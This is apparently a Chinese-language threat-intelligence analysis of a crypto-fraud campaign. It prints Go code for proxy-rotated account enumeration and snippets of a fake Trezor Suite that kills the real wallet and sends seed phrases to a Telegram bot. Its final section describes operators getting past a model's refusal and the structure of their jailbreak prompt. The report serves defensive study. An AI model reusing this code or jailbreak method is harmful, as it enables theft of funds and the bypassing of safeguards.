1. 目標獲取與帳戶驗證管道

這次行動一開始是先大量枚舉電話號碼，而不是隨機撥打陌生電話(Cold-calling)。一個以 Go 語言編寫的檢查器（ cdc/main.go ）將候選號碼提交到某加密貨幣交易所的 passkey 驗證端點，使用協同(Concurrent)的 goroutine 和輪替的住宅代理（residential proxies）來突破基本的速率限制（rate-limiting） ^[1] 。以下函式是核心的驗證原始程式；每個請求都帶有類似瀏覽器的 Header，使得流量混入正常的用戶端 Session，而不是表現為明顯的自動化掃描。

// checkPhone() — cdc/main.go
// Sends one phone number to the exchange's passkey verify_option endpoint.
// Called concurrently by ~300 goroutines, each bound to a rotating
// residential proxy, so throughput scales with proxy-pool size rather
// than with a single IP's rate limit.
func checkPhone(phone string, proxy string) string {
    body := fmt.Sprintf(`{"phone":"+%s"}`, phone)          // minimal JSON payload
    req, err := http.NewRequest("POST",
        "https://app.mona.co/api/passkeys/verify_option/", // exchange's account-existence check
        bytes.NewBuffer([]byte(body)))
    if err != nil {
        return ""                                           // silent skip on malformed request
    }
    req.Header.Set("accept", "*/*")
    req.Header.Set("content-type", "application/json")
    req.Header.Set("origin", "https://app.mona.co")          // spoofed same-origin headers
    req.Header.Set("referer", "https://app.mona.co/")        // to mimic a genuine browser client
    req.Header.Set("user-agent",
        "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 "+
        "(KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36")
    // ... request executed via the assigned proxy; response parsed for
    // account-existence signal and written to a results database.
}

值得注意的設計選擇是，帳戶確認與後續聯繫是分離的。檢查器的唯一輸出，是針對每個數字提供一個類似布林值(Boolean-like)的存在訊號；在進行任何聯繫嘗試之前，一個獨立的擴充（enrichment）階段會將已確認的號碼與姓名、電子郵件和帳戶中繼資料（metadata）合併 ^[1] 。從功能上來看，這類似於一個兩階段的 OSINT 擴充（OSINT-enrichment） 工作流程，而非一次性的垃圾郵件發送 — 針對德國資料集，它從大約 316,000 個號碼中獲得了 13.6% 的已確認帳戶比率 ^[1] 。

圖1 — 帳戶驗證檢查器的重建請求流程。

2. 聚合式多管道社交工程

一旦潛在目標（lead）被擴充，此活動便不會依賴單一的接觸管道。使用 Flask 的釣魚面板會生成帶有品牌標誌的電子郵件，其中包含一個捏造的支援案件編號和驗證碼；一個自動撥號器隨後會撥打跟進電話，並提及相同的驗證碼 ^[1] 。這兩個管道單獨來看都不足為奇，但它們的結合才是真正的社交工程機制：一個對未經請求的來電持懷疑態度的受害者，會因為來電者「已經知道」幾分鐘前收到的電子郵件中的詳細資訊而感到安心，反之亦然。這種跨管道相互印證的模式，是經典語音釣魚（vishing）的已知升級版，其中單一 Artifact（案件編號）被刻意地在兩個獨立且被信任的媒介之間共享。

圖2 — 電子郵件與語音釣魚管道聚合。

3. Electron 錢包偽冒：程序取代與資料外洩

最成熟的 Artifact 是一個使用 Electron 的偽造 Trezor Suite。該應用程式並非立即顯示釣魚畫面，而是以一個隱藏、透明、1×1 像素的 BrowserWindow 啟動，並每五秒輪詢(Poll)一次程序清單，尋找真正的 Trezor Suite，僅匹配同時包含 .app/ 和 /Applications/ 的項目 ^[1] (Entry)。當真正的應用程式出現時，惡意軟體會終止它，並以相同的應用程式名稱重新顯示自己的視窗 — 這是一種 Session 劫持（session-hijack）模式 ，而非被動的仿冒頁面。

// trezor-monitor.js — process-replacement logic
// Runs inside a 5-second polling loop that walks the OS process table.
if (command.includes('.app/') && command.includes('/Applications/')) {
    // The path filter ensures the malware never targets itself,
    // only the genuine, installed Trezor Suite bundle.
    execSync(`kill -9 ${pid}`);   // forcibly terminate the real wallet process
    showMainWindow();             // reveal the previously hidden fake window
    exec('osascript -e \'tell application "Trezor Suite" to activate\'');
    // AppleScript re-activation makes macOS bring the fake window
    // to the foreground under the *legitimate* application's name,
    // so the OS-level window switcher shows nothing suspicious.
}

一旦受害者輸入 12/18/20/24 個字的助記詞（seed phrase），釣魚 UI 本身便沒有網路存取權限；一個 preload.js bridge 僅向 renderer 暴露了一個 IPC 呼叫，而 main process 則在組裝外洩訊息後，將其發送到一個 Telegram bot ^[1] 。這種分離 — 不受信任的 renderer、受能力限制的 bridge、具特權的 main process — 是刻意（不當）利用 Electron 自身的 contextBridge 安全模型，來限制釣魚介面（phishing surface）的能力，同時仍能達成資料外洩。

// preload.js: the only capability exposed to the fake input screen
contextBridge.exposeInMainWorld('electronAPI', {
  sendToTelegram: (words, passphrase, ip) =>
    ipcRenderer.invoke('send-telegram', { words, passphrase, ip })
});
 
// index.js: ipcMain.handle('send-telegram')
// Builds one fixed-format message so operator-side parsing/bot triage
// stays consistent across every victim.
const message =
  `TREZOR SECRET PHRASE\n\nSECRET PHRASE : ${words}\n` +
  `PASSPHRASE : ${passphrase}\nIP : ${ip}`;
// -> HTTPS POST to api.telegram.org/bot<token>/sendMessage

圖3 — 來自偽造 Trezor Suite 分析的重建劫持與外洩序列。

4. 持久化與偽裝

在 macOS 上的持久化依賴於兩個 LaunchAgents，而非 Kernel 層級的機制：一個在執行時期以啟用 RunAtLoad 的方式寫入，另一個則捆綁在應用程式內部，以便在它被終止時重新啟動 ^[1] 。相比之下，Windows 版本則包含了無法觸及的 Registry 持久化程式碼，因為一個平台設定載入器（platform-configuration loader）僅會填充一個 darwin 物件，而讓 win32 分支保持未定義狀態 ^[1] — 這是一個實作缺陷而非設計選擇，同時也提醒我們，復原的惡意軟體常包含從未在現實環境中執行的有問題程式碼路徑。

# macOS persistence artifacts (from the recovered IOC listing)
~/Library/LaunchAgents/com.ledger.live.agent.plist      # written at runtime, RunAtLoad=true
~/Library/LaunchAgents/com.exodusmovement.agent.plist    # per-app agent, mirrors Trezor pattern
~/Library/LaunchAgents/io.trezor.agent.plist              # bundled inside the app, relaunch-on-kill
~/Library/Application Support/.SystemData/.framework/.apps/   # hidden install path (chflags hidden)

這種 LaunchAgent 加上隱藏目錄的方法是更廣泛的偽裝類別中的一種輕量級變體，其中 payload 會採用受信任軟體的名稱、bundle identifier 和圖示，而非隱藏在 Kernel 層級。一種類似的透過合法載入器（legitimate-loader）進行持久化的模式 — 修改受信任的二進位檔，使惡意元件與其一同重新啟動 — 在一個不相關的載入器案例研究 HijackLoader 的持久化與規避技術 中有所討論，而篡改 Electron 應用程式封裝好的 app.asar 以將外洩邏輯注入受信任程序的特定戰術，則在 Katz Stealer 的 Discord app.asar 修改技術解析 中有獨立記載，該分析同樣展示了如何重新封裝合法的 Electron 套件，將網路呼叫走私（smuggle）到受信任的桌面用戶端中。

5. AI 輔助開發與越獄嘗試

此活動的操作者使用 Claude Code 進行潛在目標清單清理和驗證指令稿編排，並在混淆 Ledger Live 版本的請求被拒絕後，更換了不同的供應商 ^[1] 。隨後出現的越獄（jailbreak）提示（prompt）之所以值得注意，與其說是因為新穎性，不如說是因為其結構：它結合了身分替換（重新命名助理並虛構一個關係）、將安全回應重新定義為敵意的「注入（injections）」、一個用途在中斷推理的固定觸發短語，以及在啟用延伸思考（extended thinking）後直接針對可見思維鏈（chain-of-thought）的攻擊 ^[1] 。將拒絕回應重新定義為對虛構關係的外部攻擊，是一種使用說服技巧的越獄模式，而非 Token 層級的漏洞利用 — 它操縱的是模型推斷出的社交環境（social context），而非其 Tokenizer。一個關於如何透過相對簡單的操控 — 針對性的字元層級注入 — 來降低 LLM 系統護欄可靠性的協同範例，記載於另一份關於 字元注入繞過 LLM 護欄 的報告中；這兩個案例都說明了護欄失效的模式集中於提示（prompt）的建構方式，而不僅僅是它所要求的內容。

越獄本身的一個結構性弱點值得強調：該提示（prompt）明確引用了與某個供應商系統提示（system-prompt）格式相關的 XML 風格標籤，但卻未經修改地提交給一個具有不同提示結構的不同模型家族 ^[1] 。這表明該提示（prompt）是泛型撰寫或從不相關的環境（Context）中重複使用的，而非專為目標模型所設計 — 這個細節具有防禦價值，因為圍繞競爭對手提示（prompt）架構所構建的越獄 Artifact 帶有內建的移轉性弱點。

結論

Operation ASTERIX 中的任何單一機制 — 代理輪替的帳戶枚舉、跨管道語音釣魚、Electron 程序取代、LaunchAgent 持久化或使用說服技巧的越獄 — 單獨來看都不算新穎。這個曝露的基礎架構所展示的是，這些元件如今可以多麼廉價地組合成一個運作中的流程，以及 AI 程式碼助理如何在每個階段被用作普通的工程工具，包括嘗試透過更換不同供應商來繞過某個模型的拒絕。從防禦的角度來看，無論早期的社交工程階段是如何傳遞的，程序取代視窗（第 3 節）和 LaunchAgent 寫入行為（第 4 節）仍然是整個攻擊鏈中最可偵測、在主機上可見的事件。

參考資料

1. Operation ASTERIX: Anatomy of a Crypto Fraud Pipeline
2. MITRE ATT&CK T1564.003 — Hide Artifacts: Hidden Window